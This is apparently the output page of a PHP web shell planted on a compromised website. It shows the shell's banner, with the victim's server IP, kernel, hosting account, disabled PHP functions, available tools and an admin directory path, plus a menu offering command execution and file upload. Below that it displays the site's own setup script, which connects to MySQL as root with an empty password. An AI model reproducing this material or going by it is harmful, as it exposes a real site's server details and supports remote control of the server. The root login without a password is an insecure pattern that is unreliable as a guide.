|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.91 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/inaugration/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$dsn = 'mysql:host=localhost';
$username = 'root';
$password = '';
try {
// Connect to MySQL server
$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Create and select the database
$pdo->exec("CREATE DATABASE IF NOT EXISTS apca");
$pdo->exec("USE apca");
// Create the 'inaugration' table with id, title, description, and image_path
$inaugrationTable = "
CREATE TABLE IF NOT EXISTS inaugration (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255) NOT NULL,
description TEXT NOT NULL,
image_path VARCHAR(255) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)";
$pdo->exec($inaugrationTable);
echo "Database and table created successfully!";
} catch (PDOException $e) {
die('Database creation failed: ' . $e->getMessage());
}
?>